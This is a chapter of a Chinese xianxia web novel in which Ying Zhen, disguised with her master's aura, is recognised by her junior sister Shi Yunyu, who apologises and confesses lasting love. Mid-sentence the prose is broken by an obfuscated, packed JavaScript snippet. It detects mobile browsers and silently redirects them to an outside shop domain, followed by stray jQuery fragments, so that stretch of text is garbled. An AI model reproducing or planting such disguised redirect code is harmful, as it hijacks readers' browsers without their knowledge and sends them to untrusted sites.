文趣网 > 其他小说 > 灭世反派决定去写童话 > 39. 云雨·蕴玉(上)
    宿殷的本源气息,被应珍小心翼翼地引导出一缕,萦绕在身周,她已经很久没有感受到这份熟悉又陌生的气息了,不是铺天盖地的威压,而是一种内敛却深不可测的存在。

    这就是师父给人的感受。

    像月光下的古潭,沉静幽深;又像群山之巅永不消散的云雾,尊崇而疏离,这气息与含和宗护山大阵、与漱玉殿外围层层叠叠的警戒符文,产生了和谐的共鸣——它们本就是同源而出,宿殷本就是这片山川地脉永远承认并拱卫的“主”。

    应珍换上一套素雅简朴,却针脚细密用料不凡的常服,这是宿殷早年偏爱的样式,颜色是近乎月白的淡青。

    她的步态也变了,变得平稳,变得从容不迫,每一步的距离都仿佛丈量过,带着历经岁月居于上位的沉稳与笃定。

    眉眼低垂,神色淡远,应珍将所有属于自己的鲜活与棱角尽数收敛,只余下一片令人不敢直视的深邃。

    七年相处,她模仿师父的神韵能有五六分像。

    回廊两侧,隐在暗处的守卫弟子,以及嵌在廊柱、地面和飞檐下的感应阵法,在那缕本源气息触及的瞬间,都出现了极其短暂的凝滞,而后下意识地让开了道路,甚至“俯身”致意。

    没有警报,没有盘问,甚至连探究的神识都迟疑着不敢过分靠近——那气息太过纯粹,太过正确,正确到让人生不出丝毫怀疑的念头。

    **

    漱玉殿的暮色比山下来得更沉些。

    最后一缕天光斜射入高窗,在光洁如镜的黑曜石地面上拉出暖色调的光斑,却驱不散殿宇深处固有的清寂。

    空气里有极淡的冷檀香,那是宗门配给少宗主宁神静思的例份,规矩,克制,一丝多余的情绪也没有。

    漱玉殿的殿门高大沉重,此刻却无声地滑开一道缝隙,恰好容一人通过。门内流转的守护灵光温顺地分开,如同迎接主人归家。

    应珍踏入殿门时,脚步几不可察地顿了一瞬。

    殿内深处的景象,与她预想的任何一种情形都不同。

    没有伏案疾书的孤影,没有面壁冥想的沉寂,甚至没有属于象征着少宗主威仪与责任的任何布置。

    偏厅临窗的那方紫檀木小圆桌上,摆着几碟菜。

    一碟清炒的笋片,切得薄如蝉翼,边缘微微透明,淋着几点琥珀色的蘸酱。

    一碟碧绿的清灼菜心,整整齐齐码着,根部朝外,叶尖向心,摆得像个精致的青色莲花。

    一尾清蒸鲈鱼,安放在素白的细瓷长盘中,鱼身撒着细细的葱白丝与嫩黄的姜丝,热气已散得差不多,只余下温润的光泽。

    桌边,是一把造型古朴的陶泥酒壶,壶口隐隐有温热的水汽袅袅,旁边并排放着两只同款的陶泥杯。

    菜的样式,摆法,甚至那陶泥酒具的样式……

    应珍的心脏,在胸腔里猛地一缩,几乎要撞碎那层以宿殷本源气息强撑起的平静假面。

    那是她们最后一次见面时,在槐树旁,石蕴玉亲手做的一桌菜。

    一模一样。

    连那蘸酱滴落三点的位置,都分毫不差。

    应珍下意识地抬眼,望向桌边。

    石蕴玉就坐在那里。

    她没有穿少宗主的正式礼服,只是一身月白色的家常襦裙,头发松松地绾了个髻,用一根乌木簪子固定,余下几缕碎发垂在颈边。

    她侧对着殿门的方向,正微微倾身,用一方素白的帕子,慢慢擦拭着已经光洁无尘的桌面。动作很慢,很仔细,从桌沿到中央,一丝不苟。

    暮光从石蕴玉身后的高窗涌入,给她周身镀上了一层毛茸茸的金边,却也让她的面容隐在逆光的阴影里,看不真切。只看得清那擦拭桌面的手指,在光线下显得格外白皙修长,稳定得没有一丝颤抖。

    应珍僵在原地。

    伪装好的步伐、呼吸甚至眼神的弧度,都在这一刻出现了裂痕。她的预想里没有这一幕,她想过石蕴玉的冷漠或兵刃相向……唯独没有这桌早已沉入记忆深处却又依旧温热的旧宴。

    “蕴玉……”应珍喉咙发紧,几乎要控制不住模仿师父低沉平缓的声线。

    就在这时,石蕴玉停下了擦拭的动作。她没有抬头,依然看着桌面,声音轻轻响起,像暮色里一片羽毛落地:“师姐。”

    两个字。

    不是“师父”,不是“何人”,甚至没有一丝疑问的语气。

    是平静的,陈述的,笃定的。

    “师姐,”石蕴玉又唤了一声,“好久不见,你回来了。”

    应珍的呼吸彻底停滞了,她的伪装在第一个照面,就被彻底撕破。

    她甚至不知道破绽在哪里——是本源气息模拟得不够像?是步态眼神有差异?还是……蕴玉根本从一开始,就没相信过师父会归来这个可能性?

    应珍张了张嘴,属于“师父宿殷”沧桑淡漠的嗓音无论如何也发不出来了。她看着石蕴玉依旧低垂的侧脸,看着她被暮色柔化的轮廓,一种混杂着震惊、惶恐以及一丝难以言喻酸楚的情绪,冲垮了所有的准备。

    最终,应珍卸下了所有伪装。挺直的肩背微微松弛,刻意深邃的眼神恢复了原本的清澈与锐利,而此刻里面盛满了复杂难言的光。

    她用自己本来的声音,带着干涩:“阿蕴……你怎么知道是我?”

    听到熟悉的,亲昵的称呼,石蕴玉终于抬起头,转过脸,看向应珍。

    依旧是那双眼睛,空茫,平静,映着窗外的暮色和应珍此刻真实的模样,却依旧像最光滑的镜面,照不出任何属于观者内心的波澜。

    她静静看了应珍许久,久到应珍几乎要承受不住那空洞目光下的重量,久到暮色又沉下去一分。

    “阿婙,”石蕴玉顿了顿,仿佛在思考这个久违的带着年少时亲昵与依赖的称呼,然后又轻轻地摇了摇头,“或许,现在该叫你……阿珍?”

    她缓缓站起身,月白色的裙裾如流水般滑过椅面,没有发出丝毫声响。

    石蕴玉走到应珍身前,距离很近,近到应珍能看清她眼中自己惊惶的倒影,近到能闻见她身上那股仿佛被封存已久的冷香。

    她没有去碰应珍的手,也没有其他任何突兀的动作。只是伸出微凉的指尖,轻轻、轻轻地,牵住了应珍那略显宽大的袖口。

    “我错了,师姐。”石蕴玉开口,声音依旧平静,可平静之下,却像是冰层碎裂前最后的岌岌可危,“当年……在沧浪海大战之

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17610624|205924||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    前,在毓秀灵山的孤崖上,在所有人都在逼你低头,逼你承认‘误入歧途’的时候……我不该劝你妥协的。”

    石蕴玉的指尖无意识地收紧了一点点,将那点布料攥在掌心,那是她现在唯一能抓住的东西了。

    “我应该站在你身边的。”石蕴玉说,每个字都说得清晰而缓慢,她在陈述一个迟到了三年的道歉或是忏悔,“像你从小到大无数次站在我身前那样。我应该握着你的手,告诉所有人,我的师姐,她选的道,没有错。”

    说罢,她终于敢抬起眼,看着应珍,她的眼睛里也终于映出了一点属于“石蕴玉”的光。

    尽管潮湿而破碎。

    应珍看着近在咫尺的这张脸,看着那双终于不再掩饰痛苦与依恋的眼睛,看着那紧紧攥住自己袖口又微微颤抖的手指……三年前在毓秀灵山上未流的泪,此刻汹涌着想要夺眶而出。

    “罢了,阿蕴,都过去了,”应珍的声音嘶哑得不成样子,“那时候……我们都有各自的立场,我不怪你了。”

    面对石蕴玉,她总是容易心软。

    “可我还是让你一个人走了。”石蕴玉打断她,语气里带着一种近乎固执的自责,“让你一个人面对围剿,面对背叛,面对清夷镰的……反噬。然后,我自己……也变成了这副样子。”

    她松开了应珍的袖口,指尖却顺着那粗糙的布料,慢慢上移,轻轻、轻轻地,触碰到了应珍的手腕。

    冰冷的指尖,触及温热的皮肤,两人都微微一颤。

    “阿婙你问我如何知道是你,”石蕴玉突然就笑了,笑得灿烂,笑得眼角划过一颗泪水,“尽管你带着师父的气息,但踏进这座殿门的时候……”

    石蕴玉直视着应珍的眼睛,一字一句,清晰而缓慢:

    “是这里。”

    她另一只手轻轻按在了自己左胸心口的位置。

    那里,栖梧玉微光黯淡,空空荡荡。

    “虽然,它不跳了,不热了,什么都感觉不到了,”石蕴玉的声音很轻,也很重,“但当你的气息靠近时……这里,还是会知道。”

    就像冬天的枯树,知道春风曾经拂过;也像干涸的河床,知道雨水曾经浸润。

    因为——她的手曾无数次抚平应婙殊生气时皱起的眉头,她的头曾无数次靠在应婙殊护她时挺直的背脊上,她的身体曾无数次被应婙殊抱在怀里。

    这是在她躯体上留下的记忆。

    无论那颗玲珑心是否存在,石蕴玉都会永恒地记得她的师姐。

    永恒地爱着她的师姐。

    应婙殊也好,应珍也罢;菩萨也好,魔头也罢,那都只是她的师姐。

    她唯一的师姐。

    “师姐,我什么都记得,哪怕我都玲珑心已经不在了,哪怕我再也‘感受’不到那些情绪……可关于你的所有一切,都刻在这里,刻在这片空荡又死寂的废墟里。它们没有消失,只是……睡着了。”

    石蕴玉向前半步,几乎要贴在应珍的身上。

    暮色彻底沉入黑夜,殿内夜明珠的光晕笼罩着她们,石蕴玉的手爬上应珍的手腕,再紧紧地扣住她的手掌。

    像小时候那样,无数个日子里,应婙殊都牢牢地牵着石蕴玉的手。